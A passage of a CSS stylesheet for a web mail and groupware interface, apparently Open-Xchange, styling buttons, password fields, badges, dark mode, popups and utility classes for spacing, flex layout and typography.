  height:17px
}
.bi.bi-18 {
  width:18px;
  height:18px
}
.bi.bi-20 {
  width:20px;
  height:20px
}
.bi.bi-22 {
  width:22px;
  height:22px
}
.bi.bi-24 {
  width:24px;
  height:24px
}
.bi.bi-26 {
  width:26px;
  height:26px
}
.bi.bi-28 {
  width:28px;
  height:28px
}
.bi.bi-30 {
  width:30px;
  height:30px
}
.bi.bi-32 {
  width:32px;
  height:32px
}
.bi.bi-4xl {
  width:40px;
  height:40px
}
.bi.bi-5xl {
  width:48px;
  height:48px
}
.bi.larger {
  transform:scale(1.25)
}
.bi.margin-right {
  margin-inline-end:8px
}
html[dir=rtl] .bi.flip-rtl {
  transform:rotateY(180deg)
}
.help-block.error {
  color:#a94442
}
.io-ox-fail {
  padding:4px;
  font-weight:400;
  color:#767676
}
.io-ox-center {
  display:table;
  width:100%;
  height:100%
}
.io-ox-center>div {
  display:table-cell;
  text-align:center;
  vertical-align:middle
}
legend,
label {
  margin-bottom:5px;
  font-size:13px;
  line-height:20px
}
.radio-inline,
.checkbox-inline,
.checkbox label,
.radio label {
  font-size:1rem
}
legend {
  padding-top:8px;
  font-weight:700
}
legend.simple {
  margin:0;
  border-bottom:0 none
}
legend.io-ox-label h2 {
  display:inline;
  font-size:13px
}
.btn {
  display:inline-flex;
  justify-content:center;
  align-items:center
}
.btn>[aria-hidden] {
  display:flex
}
.input-group {
  display:flex;
  flex-wrap:wrap
}
.input-group>*,
.input-group>.form-control {
  width:0%;
  display:block;
  flex-grow:1
}
.input-group>* .form-control,
.input-group>.form-control .form-control {
  width:100%;
  height:100%
}
.input-group .combobox .combobox-presentation {
  height:100%
}
.input-group .input-group-btn {
  width:auto;
  flex-grow:0;
  flex-basis:content
}
.input-group .input-group-btn .btn {
  height:100%
}
.input-group .input-group-btn:first-child>.btn,
.input-group .input-group-btn:first-child>.btn-group {
  margin-left:2px
}
.input-group .input-group-addon {
  border-color:var(--border);
  background-color:var(--background-100);
  color:var(--text);
  flex-grow:0;
  flex-basis:content;
  display:inline-flex;
  align-items:center
}
.btn-file-wrapper {
  position:relative;
  overflow:hidden;
  cursor:pointer
}
.btn-file-wrapper .btn-file:active,
.btn-file-wrapper .btn-file.active {
  box-shadow:none;
  -webkit-box-shadow:none
}
.btn-file-wrapper .btn-file+input[type=file] {
  position:absolute;
  top:0;
  right:0;
  min-width:100%;
  min-height:100%;
  font-size:100px;
  text-align:right;
  filter:alpha(opacity=0);
  opacity:0;
  background:red;
  cursor:inherit;
  display:block;
  outline:0
}
.btn-unstyled {
  text-align:left;
  padding:0;
  background-color:transparent;
  border:none
}
.btn-medium {
  padding:8px 19px;
  font-size:15.5px
}
.btn-circular {
  border:0;
  background:0;
  padding:4px;
  outline:0;
  font-size:14px;
  line-height:1.5rem;
  color:var(--text)
}
.btn-circular .circle {
  width:40px;
  height:40px;
  border-radius:50%;
  color:var(--button-circular);
  border:1px solid var(--button-circular-border);
  background-color:var(--button-circular-background);
  display:flex;
  justify-content:center;
  align-items:center;
  font-size:16px;
  margin:0 auto
}
.btn-circular:not(:disabled):hover .circle {
  color:var(--button-circular-hover);
  border-color:var(--button-circular-border-hover);
  background-color:var(--button-circular-background-hover)
}
.btn-circular:not(:disabled):focus .circle {
  color:var(--button-circular-focus);
  border-color:var(--button-circular-border-focus);
  background-color:var(--button-circular-background-focus);
  box-shadow:0 0 0 4px var(--btn-primary-outline)
}
.btn-circular.btn-accent:not(:disabled) .circle {
  color:#fff;
  border-color:transparent;
  background-color:var(--accent-600)
}
.btn-circular.btn-accent:not(:disabled):focus .circle {
  box-shadow:0 0 0 4px var(--accent-200)
}
.btn-circular.btn-green:not(:disabled) .circle {
  color:#fff;
  border-color:transparent;
  background-color:var(--green-700)
}
.btn-circular.btn-green:not(:disabled):focus .circle {
  box-shadow:0 0 0 4px var(--green-300)
}
.btn-circular.btn-red:not(:disabled) .circle {
  color:#fff;
  border-color:transparent;
  background-color:var(--red-500)
}
.btn-circular.btn-red:not(:disabled):focus .circle {
  box-shadow:0 0 0 4px var(--red-200)
}
.btn-circular:disabled {
  cursor:not-allowed;
  opacity:.5
}
.horizontal-action-buttons {
  margin:20px 0 0
}
.horizontal-action-buttons>* {
  display:inline-block;
  margin:0;
  margin-inline-end:16px
}
.cursor-pointer,
.label.pointer {
  cursor:pointer
}
.badge {
  color:#fff;
  font-weight:500;
  text-transform:uppercase
}
.badge.badge-notstarted {
  color:#495057;
  background-color:#e9ecef
}
.badge.badge-deferred,
.badge.badge-waiting {
  color:#a4520d;
  background-color:#fff2e8
}
.badge.badge-inprogress {
  color:#08778e;
  background-color:#e7f1ff
}
.badge.badge-done {
  color:#146c43;
  background-color:#e8f3ee
}
.badge.badge-overdue {
  color:#ab296a;
  background-color:#f7d6e6
}
wbr:after {
  content:"​"
}
.alert {
  padding:8px 35px 8px 14px;
  margin-bottom:20px
}
.alert.indicator {
  margin-bottom:0
}
.row label {
  padding-top:8px
}
.clear-title {
  font-weight:700;
  font-size:24px;
  line-height:2rem
}
#background-loader.secure {
  background-color:#fff0
}
#background-loader.secure.block {
  color:var(--text);
  background-color:var(--background-a50);
  text-align:center
}
#background-loader.secure.block button {
  display:none;
  position:relative;
  top:52%
}
.auto-logout-dialog:not(.logout-failed) [data-action=retry] {
  display:none
}
@keyframes make-visible {
  99% {
    visibility:hidden
  }
  to {
    visibility:visible
  }
}
.io-ox-busy {
  position:relative
}
.io-ox-busy:before {
  visibility:hidden;
  position:absolute;
  top:50%;
  left:50%;
  margin:-.75rem 0 0 -.75rem;
  width:1.5rem;
  height:1.5rem;
  vertical-align:text-bottom;
  border:.1em solid currentColor;
  border-right-color:transparent;
  border-radius:50%;
  content:" ";
  animation:spin 1.5s infinite linear,1ms make-visible forwards;
  animation-delay:.3s
}
.relogin-required .io-ox-busy:before {
  animation:1ms make-visible forwards
}
.io-ox-busy.immediate:before {
  animation-delay:0ms
}
#io-ox-core {
  z-index:0;
  color:var(--text);
  backface-visibility:hidden;
  transition:filter 1s linear,opacity 1s linear;
  background-size:cover
}
#io-ox-core #io-ox-tint {
  position:absolute;
  top:0;
  width:100%;
  height:40%;
  background-image:linear-gradient(180deg,#ffffffc2 40px,#fff0);
  display:none
}
#io-ox-core .grid-container {
  height:100%;
  border-radius:var(--gap-radius) var(--gap-radius) 0 0
}
.smartphone #io-ox-core .grid-container {
  position:relative
}
#io-ox-core .task-detail-container {
  border-radius:var(--gap-radius) var(--gap-radius) 0 0
}
#io-ox-core .window-sidepanel {
  border-radius:0 var(--gap-radius) 0 0
}
#io-ox-core .folder-tree {
  padding:0 var(--inner-gap)
}
#io-ox-core .io-ox-mail-window .rightside,
#io-ox-core .io-ox-contacts-window .rightside {
  border-radius:var(--main-gap-radius) 0 0 0
}
#io-ox-core .thread-view-list {
  padding:0 24px 24px
}
.smartphone #io-ox-core .thread-view-list {
  padding:0
}
#io-ox-core .classic-toolbar-container {
  padding:0 16px;
  margin:16px 0 8px
}
#io-ox-core .contact-grid-index {
  top:0;
  bottom:0;
  background-color:var(--background-a50);
  padding-top:16px;
  margin-bottom:0;
  border-radius:var(--gap-radius) 0 0 0
}
#io-ox-core .contact-grid-container {
  border-radius:0 var(--gap-radius) 0 0
}
#io-ox-core .vgrid-toolbar {
  padding:16px 8px 0;
  height:56px
}
@media (orientation: landscape) {
  #io-ox-core {
    padding:var(--safe-area-inset-top) var(--safe-area-inset-right) var(--safe-area-inset-bottom) var(--safe-area-inset-left)
  }
}
@media (orientation: portrait) {
  #io-ox-core {
    padding:var(--safe-area-inset-top) var(--safe-area-inset-right) 0 var(--safe-area-inset-left)
  }
}
#io-ox-core.category-browser-visible {
  margin-right:var(--category-browser-width)
}
#io-ox-category-browser {
  position:absolute;
  width:var(--category-browser-width);
  right:calc(0px - var(--category-browser-width));
  height:calc(100% - var(--offset-top) - var(--offset-bottom));
  bottom:var(--offset-bottom);
  top:var(--offset-top);
  background:var(--background);
  z-index:15
}
#io-ox-message-container {
  z-index:10;
  display:flex;
  position:absolute;
  bottom:60px;
  left:50%;
  transform:translate(-50%);
  width:min(95%,400px);
  gap:8px;
  flex-direction:column
}
#io-ox-message-container .delete-notification {
  font-size:1rem
}
#io-ox-message-container .bottom-message {
  width:100%;
  background:var(--background);
  border:1px solid var(--border);
  color:var(--color);
  box-shadow:0 12px 32px #0003;
  min-height:60px;
  padding:8px;
  display:flex;
  align-items:center;
  justify-content:center;
  border-radius:var(--default-radius)
}
#io-ox-banner {
  z-index:1;
  color:var(--btn-primary);
  background-color:var(--btn-primary-background);
  padding:11px 16px;
  margin-bottom:var(--gap);
  text-align:center;
  font-size:14px
}
#io-ox-banner .btn.btn-default {
  color:var(--btn-primary);
  border-color:var(--btn-primary);
  background:transparent
}
#io-ox-banner .btn.btn-default:focus {
  color:#333;
  background:var(--btn-primary)
}
html.dark #io-ox-top-logo img {
  filter:none
}
html.dark #io-ox-topsearch>search-container>.form-control {
  background-color:#000
}
html.dark .launcher-dropdown .icon-wrap .icon-background,
html.dark .io-ox-settings-main .icon-wrap .icon-background {
  background-color:var(--background-200)!important;
  opacity:1!important
}
html.dark .launcher-dropdown .icon-wrap svg,
html.dark .io-ox-settings-main .icon-wrap svg {
  filter:brightness(1.5)
}
html.dark .list-view.visible-selection .list-item:hover {
  background-color:#222
}
html.dark .contact-grid-index {
  background-color:#000
}
html.dark .contact-grid-container,
html.dark .io-ox-contacts-window .rightside {
  background-image:none
}
html.dark .form-control,
html.dark .well {
  border-color:var(--border);
  background-color:var(--background-100)
}
html.dark .input-group-addon {
  background-color:var(--background-5)
}
html.dark .avatar.initials,
html.dark .avatar.distribution-list,
html.dark #io-ox-appcontrol #io-ox-toprightbar .contact-picture {
  color:var(--text-gray);
  background-color:var(--background-100)
}
html.dark .dropdown-menu {
  background:var(--background-50);
  box-shadow:0 8px 64px 8px #00000080
}
html.dark select.form-control {
  background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23f0f0f0' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e")
}
html.dark .input-group-addon {
  color:var(--text);
  background-color:var(--background-100);
  border-color:var(--border)
}
html.dark .password-container input,
html.dark .password-container .toggle-asterisks {
  border:none;
  background-color:var(--background-100)
}
html.dark .password-container input:focus,
html.dark .password-container input:hover:not(:disabled),
html.dark .password-container .toggle-asterisks:focus,
html.dark .password-container .toggle-asterisks:hover:not(:disabled) {
  background-color:var(--background)
}
.translucent-high {
  background:var(--translucent-high);
  backdrop-filter:blur(calc(var(--backdrop-blur-factor) * 1px));
  -webkit-backdrop-filter:blur(calc(var(--backdrop-blur-factor) * 1px))
}
.translucent-medium {
  background:var(--translucent-medium);
  backdrop-filter:blur(calc(var(--backdrop-blur-factor) * 2px));
  -webkit-backdrop-filter:blur(calc(var(--backdrop-blur-factor) * 2px))
}
.translucent-low {
  background:var(--translucent-low);
  backdrop-filter:blur(calc(var(--backdrop-blur-factor) * 4px));
  -webkit-backdrop-filter:blur(calc(var(--backdrop-blur-factor) * 4px))
}
.translucent-constant {
  background:var(--translucent-constant)
}
#topbar-settings-dropdown {
  min-width:304px
}
#io-ox-offline {
  position:absolute;
  bottom:0;
  width:240px;
  left:50%;
  margin-left:-120px;
  height:40px;
  font-weight:700;
  display:inline-flex;
  justify-content:center;
  align-items:center;
  text-align:center;
  color:#fff;
  background-color:var(--attention);
  cursor:default;
  z-index:650000;
  box-shadow:0 0 20px #0000004d;
  border-radius:var(--default-radius) var(--default-radius) 0 0
}
#io-ox-offline-smartphone {
  height:0;
  font-size:14px;
  font-weight:700;
  display:inline-flex;
  justify-content:center;
  align-items:center;
  color:#fff;
  background-color:var(--attention)
}
.scrollable {
  overflow:auto!important;
  -webkit-tap-highlight-color:transparent
}
html .scrollable[tabindex]:focus,
html .listbox[tabindex]:focus {
  box-shadow:inset 0 0 0 2px var(--focus-500)
}
.list-view .gray,
.vgrid .gray {
  color:var(--text-gray)
}
.list-view .selected:not(:focus) .gray,
.vgrid .selected:not(:focus) .gray {
  color:var(--text)
}
.focusable:focus,
.list-item.focusable:focus {
  outline:2px solid var(--focus-500)
}
.blockscroll {
  overflow:hidden!important
}
.rightside.flex-col {
  padding:0;
  overflow:hidden
}
.rightside.flex-col .scrollable-pane {
  position:relative;
  flex:1;
  overflow:auto;
  padding:24px
}
.ui-disabled {
  pointer-events:none;
  color:#ccc
}
.atb,
.abs {
  position:absolute;
  top:0;
  bottom:0
}
.abs {
  left:0;
  right:0
}
.abs-r {
  right:0
}
.abs-l {
  left:0
}
.truncate,
.ellipsis {
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap
}
.truncate.multiline {
  display:-webkit-box!important;
  -webkit-line-clamp:2;
  -webkit-box-orient:vertical;
  white-space:normal;
  overflow-wrap:break-word
}
.truncate.multiline.three-lines {
  -webkit-line-clamp:3
}
.person,
.person-link {
  color:var(--text);
  word-break:normal;
  white-space:nowrap
}
.from .person {
  color:inherit
}
.person-link {
  cursor:pointer
}
.default-content-padding {
  padding:32px
}
.border {
  border:1px solid var(--border)
}
.border-top {
  border-top:1px solid var(--border)
}
.border-right {
  border-right:1px solid var(--border)
}
.border-bottom {
  border-bottom:1px solid var(--border)
}
.border-left {
  border-left:1px solid var(--border)
}
.border-none {
  border:0
}
.border-bright {
  border-color:var(--border-bright)
}
.border-accent {
  border-color:var(--accent-200)
}
.touch body {
  font-size:16px
}
@media (max-width: 767px) {
  body {
    padding-left:0!important;
    padding-right:0!important
  }
}
@media (max-width: 900px) {
  .default-content-padding {
    padding:26px 13px
  }
}
.form-spacer {
  margin-top:32px
}
.input-group>.form-control {
  height:auto
}
.tooltip {
  z-index:100000
}
.center-children {
  display:flex;
  align-items:center;
  justify-content:center
}
.password-container.input-group {
  border:1px solid var(--border-bootstrap);
  background:var(--background);
  border-radius:var(--default-radius)
}
.password-container.input-group:has(input:focus) {
  outline:0;
  border-color:var(--focus-500);
  box-shadow:0 0 0 .25rem var(--btn-primary-outline)
}
.password-container input.form-control {
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  padding-right:12px
}
.password-container input,
.password-container input:focus {
  border-color:transparent;
  border-radius:var(--default-radius);
  box-shadow:none
}
.password-container input:disabled,
.password-container input:focus:disabled {
  border-color:#eee
}
.password-container.has-focus input.form-control {
  padding-right:50px
}
.password-container .toggle-asterisks {
  padding:0;
  z-index:3;
  pointer-events:all;
  border:0;
  color:var(--text-gray);
  background:var(--background)
}
.password-container .toggle-asterisks:hover,
.password-container .toggle-asterisks:disabled {
  border-color:var(--background-100);
  background-color:var(--background-100)
}
.password-container .toggle-asterisks:focus {
  background-color:var(--background-100)
}
.password-container .toggle-asterisks:disabled {
  border-width:1px 1px 1px 0;
  border-style:solid;
  opacity:1
}
.password-container .toggle-asterisks:disabled:hover {
  color:var(--text-gray)
}
.blur {
  filter:blur(4px)
}
.avatar {
  width:40px;
  height:40px;
  background:#eee none no-repeat center center;
  background-size:cover;
  border-radius:50%;
  display:flex;
  flex-direction:column;
  justify-content:center;
  align-items:center;
  font-size:1rem
}
.avatar.initials,
.avatar.distribution-list {
  font-weight:500;
  color:var(--avatar);
  background-color:var(--avatar-background)
}
.avatar svg text {
  fill:currentColor
}
.vgrid-cell.selected .avatar,
.list-item.selected .avatar {
  color:var(--selected-focus);
  background-color:var(--selected-background-focus)
}
h1.unstyled,
h2.unstyled,
h3.unstyled,
h4.unstyled,
h5.unstyled,
.heading-unstyled {
  margin:inherit;
  font-weight:inherit;
  font-size:inherit
}
label.unstyled {
  color:inherit;
  line-height:inherit;
  font-size:inherit;
  font-weight:inherit;
  margin-bottom:inherit
}
dl.definition-list dt,
dl.definition-list dd {
  margin:0
}
@media (min-width: 576px) {
  dl.definition-list {
    display:flex;
    flex-wrap:wrap;
    max-width:800px
  }
  dl.definition-list dt,
  dl.definition-list dd {
    padding-inline-start:8px;
    padding-inline-end:8px;
    flex:0 0 auto
  }
  dl.definition-list dt {
    width:30%;
    text-align:end
  }
  dl.definition-list dd {
    width:70%;
    text-align:start
  }
}
@media (max-width: 540px) and (orientation: portrait),(max-height: 540px) and (orientation: landscape) {
  .default-content-padding {
    padding:5px 10px
  }
  textarea.flat,
  input.flat {
    border-width:0;
    border-bottom-width:1px;
    box-shadow:none;
    border-radius:0
  }
  textarea.flat:focus,
  input.flat:focus {
    border-width:0;
    box-shadow:none;
    border-bottom-width:1px;
    border-color:initial
  }
  .clear-title {
    font-size:15pt
  }
  #background-loader.secure.block {
    background-color:#0009;
    height:150%;
    position:fixed
  }
}
::-ms-clear {
  display:none
}
svg.fa,
.fasvg {
  height:14px;
  overflow:visible
}
svg.fa text,
.fasvg text {
  font-size:100px;
  fill:currentColor
}
svg.indicator {
  position:absolute;
  z-index:1;
  top:10px;
  left:32px
}
svg.indicator circle {
  fill:var(--attention)
}
.h-8 {
  height:8px
}
.h-16 {
  height:16px
}
.h-32 {
  height:32px
}
.h-60 {
  height:60px
}
.h-fit-content {
  height:fit-content
}
.m-0 {
  margin:0
}
.m-4 {
  margin:4px
}
.m-16 {
  margin:16px
}
.mt-0 {
  margin-top:0
}
.mr-0 {
  margin-right:0
}
.mb-0 {
  margin-bottom:0
}
.ml-0 {
  margin-left:0
}
.mt-4 {
  margin-top:4px
}
.mr-4 {
  margin-right:4px
}
.mb-4 {
  margin-bottom:4px
}
.ml-4 {
  margin-left:4px
}
.my-4 {
  margin-top:4px;
  margin-bottom:4px
}
.mr-6 {
  margin-right:6px
}
.mt-8 {
  margin-top:8px
}
.mr-8 {
  margin-right:8px
}
.mb-8 {
  margin-bottom:8px
}
.ml-8 {
  margin-left:8px
}
.mx-8 {
  margin-left:8px;
  margin-right:8px
}
.my-8 {
  margin-top:8px;
  margin-bottom:8px
}
.mt-12 {
  margin-top:12px
}
.mr-12 {
  margin-right:12px
}
.mb-12 {
  margin-bottom:12px
}
.ml-12 {
  margin-left:12px
}
.mx-12 {
  margin-left:12px;
  margin-right:12px
}
.my-12 {
  margin-top:12px;
  margin-bottom:12px
}
.mr-14 {
  margin-right:14px
}
.mt-16 {
  margin-top:16px
}
.mr-16 {
  margin-right:16px
}
.mb-16 {
  margin-bottom:16px
}
.ml-16 {
  margin-left:16px
}
.mx-16 {
  margin-left:16px;
  margin-right:16px
}
.my-16 {
  margin-top:16px;
  margin-bottom:16px
}
.mt-24 {
  margin-top:24px
}
.mr-24 {
  margin-right:24px
}
.mb-24 {
  margin-bottom:24px
}
.ml-24 {
  margin-left:24px
}
.mx-24 {
  margin-left:24px;
  margin-right:24px
}
.my-24 {
  margin-top:24px;
  margin-bottom:24px
}
.mt-32 {
  margin-top:32px
}
.mr-32 {
  margin-right:32px
}
.mb-32 {
  margin-bottom:32px
}
.mb-40 {
  margin-bottom:40px
}
.ml-32 {
  margin-left:32px
}
.mx-32 {
  margin-left:32px;
  margin-right:32px
}
.my-32 {
  margin-top:32px;
  margin-bottom:32px
}
.mt-auto {
  margin-top:auto
}
.mr-auto {
  margin-right:auto
}
.mb-auto {
  margin-bottom:auto
}
.ml-auto {
  margin-left:auto
}
.my-auto {
  margin-top:auto;
  margin-bottom:auto
}
.mb-5 {
  margin-bottom:5px
}
.mb-10 {
  margin-bottom:10px
}
.ms-4 {
  margin-inline-start:4px
}
.ms-8 {
  margin-inline-start:8px
}
.ms-10 {
  margin-inline-start:10px
}
.ms-16 {
  margin-inline-start:16px
}
.ms-24 {
  margin-inline-start:24px
}
.ms-40 {
  margin-inline-start:40px
}
.ms-auto {
  margin-inline-start:auto
}
.me-4 {
  margin-inline-end:4px
}
.me-8 {
  margin-inline-end:8px
}
.me-16 {
  margin-inline-end:16px
}
.me-24 {
  margin-inline-end:24px
}
.me-auto {
  margin-inline-end:auto
}
.-me-8 {
  margin-inline-end:-8px
}
.p-0 {
  padding:0
}
.p-4 {
  padding:4px
}
.p-8 {
  padding:8px
}
.p-16 {
  padding:16px
}
.p-24 {
  padding:24px
}
.px-8 {
  padding-inline:8px
}
.px-10 {
  padding-inline:10px
}
.px-12 {
  padding-inline:12px
}
.px-16 {
  padding-inline:16px
}
.px-20 {
  padding-inline:20px
}
.px-24 {
  padding-inline:24px
}
.px-32 {
  padding-inline:32px
}
.px-40 {
  padding-inline:40px
}
.py-4 {
  padding-block:4px
}
.py-6 {
  padding-block:6px
}
.py-8 {
  padding-block:8px
}
.py-16 {
  padding-block:16px
}
.pt-0 {
  padding-top:0
}
.pt-6 {
  padding-top:6px
}
.pt-8 {
  padding-top:8px
}
.pt-16 {
  padding-top:16px
}
.pt-20 {
  padding-top:20px
}
.pt-24 {
  padding-top:24px
}
.pt-32 {
  padding-top:32px
}
.pt-40 {
  padding-top:40px
}
.pb-0 {
  padding-bottom:0
}
.pb-8 {
  padding-bottom:8px
}
.pb-12 {
  padding-bottom:12px
}
.pb-16 {
  padding-bottom:16px
}
.pb-24 {
  padding-bottom:24px
}
.pb-32 {
  padding-bottom:32px
}
.pl-0 {
  padding-left:0
}
.pl-4 {
  padding-left:4px
}
.pl-8 {
  padding-left:8px
}
.pl-16 {
  padding-left:16px
}
.pl-24 {
  padding-left:24px
}
.pl-32 {
  padding-left:32px
}
.pr-0 {
  padding-right:0
}
.pr-8 {
  padding-right:8px
}
.pr-16 {
  padding-right:16px
}
.pr-24 {
  padding-right:24px
}
.pr-32 {
  padding-right:32px
}
.ps-0 {
  padding-inline-start:0
}
.ps-8 {
  padding-inline-start:8px
}
.ps-12 {
  padding-inline-start:12px
}
.ps-16 {
  padding-inline-start:16px
}
.ps-24 {
  padding-inline-start:24px
}
.pe-0 {
  padding-inline-end:0
}
.pe-8 {
  padding-inline-end:8px
}
.pe-16 {
  padding-inline-end:16px
}
.pe-24 {
  padding-inline-end:24px
}
.width-100 {
  width:100%
}
.rounded {
  border-radius:var(--default-radius)
}
.rounded-tl {
  border-radius:var(--gap-radius) 0 0 0
}
.rounded-tr {
  border-radius:0 var(--gap-radius) 0 0
}
.rounded-t {
  border-radius:var(--gap-radius) var(--gap-radius) 0 0
}
.rounded-b-12 {
  border-bottom-left-radius:12px;
  border-bottom-right-radius:12px
}
.border-0 {
  border-width:0
}
.resize {
  resize:both
}
.resize-x {
  resize:horizontal
}
.resize-y {
  resize:vertical
}
.resize-none {
  resize:none
}
.rotate-90 {
  transform:rotate(90deg)
}
.flex {
  display:flex
}
.flex-col {
  display:flex;
  flex-direction:column!important
}
.flex-row {
  display:flex;
  flex-direction:row!important
}
.flex-row-reverse {
  display:flex;
  flex-direction:row-reverse!important
}
.flex-center {
  display:flex;
  justify-content:center;
  align-items:center;
  height:100%
}
.flex-wrap {
  flex-wrap:wrap
}
.flex-nowrap {
  flex-wrap:nowrap
}
.float-right {
  float:right
}
.shrink {
  flex-shrink:1
}
.shrink-0 {
  flex-shrink:0
}
.grow {
  flex-grow:1
}
.grow-0 {
  flex-grow:0
}
.flex-none {
  flex:none
}
.zero-min-width,
.min-w-0 {
  min-width:0
}
.min-h-0 {
  min-height:0
}
.w-full {
  width:100%
}
.h-full {
  height:100%
}
.justify-center {
  justify-content:center
}
.justify-between {
  justify-content:space-between
}
.justify-around {
  justify-content:space-around
}
.justify-start {
  justify-content:flex-start
}
.justify-end {
  justify-content:flex-end
}
.self-start {
  align-self:flex-start
}
.self-end {
  align-self:flex-end
}
.flex-grow {
  flex:1
}
.items-start {
  align-items:flex-start
}
.items-center {
  align-items:center
}
.items-end {
  align-items:flex-end
}
.items-baseline {
  align-items:baseline
}
.align-middle {
  vertical-align:middle
}
.grid:not(table) {
  display:grid
}
.grid-cols-2 {
  grid-template-columns:repeat(2,minmax(0,1fr))
}
.gap-8 {
  gap:8px
}
.gap-16 {
  gap:16px
}
.gap-x-8 {
  column-gap:2rem
}
.gap-y-8 {
  row-gap:2rem
}
.block {
  display:block!important
}
.inline-block {
  display:inline-block
}
.inline {
  display:inline
}
.inline-flex {
  display:inline-flex
}
.text-start {
  text-align:start
}
.text-left {
  text-align:left
}
.text-center {
  text-align:center
}
.text-right {
  text-align:right
}
.text-end {
  text-align:end
}
.text-xxs {
  font-size:.75rem;
  line-height:1rem
}
.text-xs {
  font-size:.8125rem;
  line-height:1rem
}
.text-sm {
  font-size:.875rem;
  line-height:1.25rem
}
.text-base {
  font-size:1rem;
  line-height:1.5rem
}
.text-lg {
  font-size:1.125rem;
  line-height:1.75rem
}
.text-xl {
  font-size:1.25rem;
  line-height:1.75rem
}
.text-2xl {
  font-size:1.5rem;
  line-height:2rem
}
.text-3xl {
  font-size:1.875rem;
  line-height:2.25rem
}
.text-4xl {
  font-size:2.25rem;
  line-height:2.5rem
}
.text-very-small {
  font-size:13px;
  line-height:1.2
}
.text-small {
  font-size:14px;
  line-height:1.2
}
.text-medium {
  font-size:15px;
  line-height:1.33
}
.text-large {
  font-size:16px;
  line-height:1.33
}
.text-very-large {
  font-size:18px;
  line-height:1.33
}
.leading-none {
  line-height:1
}
.leading-normal {
  line-height:normal
}
.leading-4 {
  line-height:1rem
}
.leading-5 {
  line-height:1.25rem
}
.leading-6 {
  line-height:1.5rem
}
.leading-7 {
  line-height:1.75rem
}
.leading-8 {
  line-height:2rem
}
.leading-9 {
  line-height:2.25rem
}
.leading-10 {
  line-height:2.5rem
}
.font-light {
  font-weight:300
}
.font-normal {
  font-weight:400
}
.font-medium {
  font-weight:500
}
.font-semibold {
  font-weight:600
}
.font-bold {
  font-weight:700
}
.italic {
  font-style:italic
}
.line-through {
  text-decoration:line-through
}
.no-underline {
  text-decoration:none
}
.text-bold {
  font-weight:700
}
.text-medium {
  font-weight:500
}
.text-default {
  color:var(--text)
}
.text-gray {
  color:var(--text-gray)
}
.text-accent {
  color:var(--accent)
}
.text-accent-dark {
  color:var(--accent-600)
}
.text-attention {
  color:var(--attention)
}
.uppercase {
  text-transform:uppercase
}
.break-words {
  overflow-wrap:break-word
}
.whitespace-normal {
  white-space:normal
}
.whitespace-nowrap {
  white-space:nowrap
}
.whitespace-pre-line {
  white-space:pre-line
}
.font-mono {
  font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,Liberation Mono,Courier New,monospace
}
.opacity-0 {
  opacity:0
}
.opacity-60 {
  opacity:.6
}
.opacity-75 {
  opacity:.75
}
.sticky {
  position:sticky
}
.relative {
  position:relative
}
.absolute {
  position:absolute
}
.t-0 {
  top:0!important
}
.top-0 {
  top:0
}
.bottom-0 {
  bottom:0
}
.start-0 {
  inset-inline-start:0
}
.end-0 {
  inset-inline-end:0
}
.left-0 {
  left:0
}
.z-0 {
  z-index:0
}
.z-10 {
  z-index:10
}
.z-20 {
  z-index:20
}
.select-none {
  user-select:none
}
.select-text {
  user-select:text
}
.select-all {
  user-select:all
}
.list-disc {
  list-style-type:disc
}
.list-none {
  list-style-type:none
}
.overflow-auto {
  overflow:auto
}
.overflow-hidden {
  overflow:hidden
}
.overflow-x-auto {
  overflow-x:auto
}
.overflow-y-auto {
  overflow-y:auto
}
.scroll-smooth {
  scroll-behavior:smooth
}
.invisible {
  visibility:hidden
}
.overflow-x-hidden {
  overflow-x:hidden!important
}
.bg-5 {
  background-color:var(--background-5)
}
.accent-color {
  color:var(--accent)
}
.illustration {
  color:var(--accent);
  opacity:var(--illustration-opacity)
}
.card {
  border:1px solid var(--border-bright);
  background-color:var(--background);
  border-radius:var(--default-radius);
  width:96px;
  height:64px;
  margin:0 8px 8px 0;
  display:inline-block
}
.card.card-circle {
  width:32px;
  height:32px;
  border-radius:50%
}
.card.card-m {
  width:56px;
  height:40px
}
.card-container {
  display:inline-block;
  margin:0 8px 8px 0
}
.card-container .card {
  margin:0
}
.card-caption {
  font-size:12px;
  line-height:1rem;
  color:var(--text-gray);
  text-align:center;
  padding:8px 0
}
.btn-group .icon-only .bi {
  height:20px
}
.detail-popup {
  position:fixed;
  z-index:1000;
  width:600px;
  max-height:min(700px,100vh - 80px);
  max-width:calc(50% - 40px);
  color:var(--text);
  background-color:var(--background);
  border-radius:var(--double-radius);
  box-shadow:0 24px 64px 4px #0000004d
}
.smartphone .detail-popup {
  position:absolute;
  top:calc(var(--offset-top));
  bottom:0;
  width:100%;
  max-width:none;
  max-height:none;
  border-radius:16px 16px 0 0
}
.smartphone .detail-popup .popup-body {
  padding:unset
}
.detail-popup .popup-header {
  height:64px;
  padding:24px 16px 0;
  border-radius:var(--double-radius) var(--double-radius) 0 0;
  align-items:center
}
.detail-popup .popup-header svg.bi {
  width:18px;
  height:18px
}
.detail-popup .popup-toolbar {
  flex:1;
  display:flex;
  justify-content:flex-end
}
.detail-popup .popup-body {
  overflow:auto;
  flex:1;
  padding:0 32px;
  min-height:200px
}
.detail-popup .popup-footer {
  padding:0 16px;
  border-radius:0 0 var(--double-radius) var(--double-radius);
  flex:0 0 80px;
  display:flex;
  align-items:center
}
.detail-popup .popup-footer:empty {
  flex:0 0 24px
}
.smartphone .detail-popup .popup-footer:empty {
  flex:0
}
.detail-popup .icons-only .inline-toolbar {
  font-size:18px;
  margin:0
}
.detail-popup .contact-detail dt .contact-photo {
  float:left
}
.code-container {
  display:block;
  word-break:break-all;
  word-wrap:break-word;
  border:1px solid var(--border);
  border-radius:var(--default-radius);
  border-color:var(--border-bright)
}
.code {
  font-size:inherit;
  color:inherit;
  white-space:pre-wrap;
  background-color:transparent;
  border-radius:0
}
.expandable-title {
  color:var(--text-gray);
  text-transform:uppercase;
  font-size:1rem;
  line-height:1.25rem
}
.label-subtle {
  position:relative;
  top:-1px;
  font-weight:500;
  color:var(--text);
  background-color:var(--background-10)
}
.label-subtle.subtle-green {
  color:var(--green-700);
  background-color:var(--green-20)
}
.label-subtle.subtle-yellow {
  color:var(--yellow-700);
